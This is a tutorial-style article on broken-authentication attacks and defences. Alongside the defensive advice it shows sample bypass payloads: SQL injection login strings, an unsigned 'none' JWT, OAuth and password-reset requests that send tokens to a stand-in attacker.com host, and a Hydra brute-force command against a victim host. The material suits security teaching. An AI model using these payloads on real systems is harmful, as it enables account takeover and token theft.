Bypassing Login Screens: The Dark Art of Broken Authentication
Exploring vulnerabilities that let attackers slip past authentication mechanisms
⚠️ Ethical Note: These techniques should only be used on systems you own or have explicit permission to test.
What is Broken Authentication?
Broken authentication encompasses vulnerabilities that allow attackers to bypass or compromise authentication mechanisms. According to OWASP, authentication-related vulnerabilities consistently rank in the Top 10 Web Application Security Risks.
1
Identify Authentication Endpoints
Login, password reset, account recovery pages
Login, password reset, account recovery pages
2
Find Weaknesses
Credential stuffing, session hijacking, logic flaws
Credential stuffing, session hijacking, logic flaws
3
Exploit Vulnerabilities
Bypass authentication or escalate privileges
Bypass authentication or escalate privileges
Authentication vs. Session Management
| Component | Vulnerabilities | Impact |
|---|---|---|
| Authentication | Weak passwords, credential stuffing, bypass flaws | Initial access compromise |
| Session Management | Session fixation, hijacking, timeout issues | Persistence after authentication |
Common Authentication Bypass Techniques
Classic SQL Injection Login Bypass
Username: admin'-- Password: [anything]
Top 10 Bypass Methods
- SQL Injection:
' OR '1'='1'-- - Parameter Tampering: Changing
admin=falsetoadmin=true - Forced Browsing: Accessing
/admindirectly - JWT Tampering: Modifying token claims
- Password Reset Poisoning: Hijacking reset tokens
- Session Fixation: Forcing known session IDs
- OAuth Misconfiguration: Exploiting improper redirects
- 2FA Bypass: Brute-forcing or time-based attacks
- API Key Leakage: Finding keys in client-side code
- Default Credentials:
admin:adminnever goes out of style
Advanced Bypass Techniques
1. JWT Tampering
# Change algorithm to "none" eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
2. OAuth Token Theft
# Malicious redirect_uri https://victim.com/oauth?redirect_uri=https://attacker.com/capture
3. Password Reset Poisoning
POST /reset-password HTTP/1.1 Host: victim.com ... email=user@victim.com&x-forwarded-host=attacker.com
Tools of the Trade
| Tool | Purpose | Example Use |
|---|---|---|
| Burp Suite | Intercepting and modifying auth requests | Changing response from {"admin":false} to true |
| Hydra | Brute-force attacks | hydra -l admin -P wordlist.txt victim.com http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect" |
| jwt_tool | JWT manipulation | python3 jwt_tool.py eyJhbGci... -T |
| OAuth Testing Tools | OAuth flow analysis | Modifying redirect_uri parameters |
Defensive Strategies
1. Secure Authentication Design
// Server-side authentication pseudocode
function authenticate(username, password) {
user = db.query("SELECT * FROM users WHERE username = ?", [username]);
if (!user) return false;
return bcrypt.compare(password, user.passwordHash);
}
2. Multi-Layered Protections
- Implement rate limiting (5-10 attempts per hour)
- Require strong passwords (12+ characters)
- Use multi-factor authentication (TOTP, WebAuthn)
- Secure session management (HttpOnly, Secure flags)
- Regularly audit authentication logs
3. Security Headers
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Frame-Options: DENY Content-Security-Policy: default-src 'self'
Pro Tip: Implement passwordless authentication (WebAuthn) where possible to eliminate password-related vulnerabilities entirely.
Real-World Case Studies
Case 1: JWT Algorithm Switch
A major SaaS platform accepted JWTs with “none” algorithm, allowing attackers to forge admin tokens.
Case 2: Password Reset Hijacking
Popular social media site leaked password reset tokens in Referer headers when users clicked links in emails.
Case 3: OAuth Redirect Manipulation
Financial service improperly validated redirect_uri, allowing token theft via open redirect.
Conclusion
Broken authentication remains a critical vulnerability because:
- It provides direct access to sensitive systems
- Many developers underestimate attack complexity
- Legacy systems often have outdated auth mechanisms
Remember: Authentication security requires defense in depth – no single control is sufficient against determined attackers.
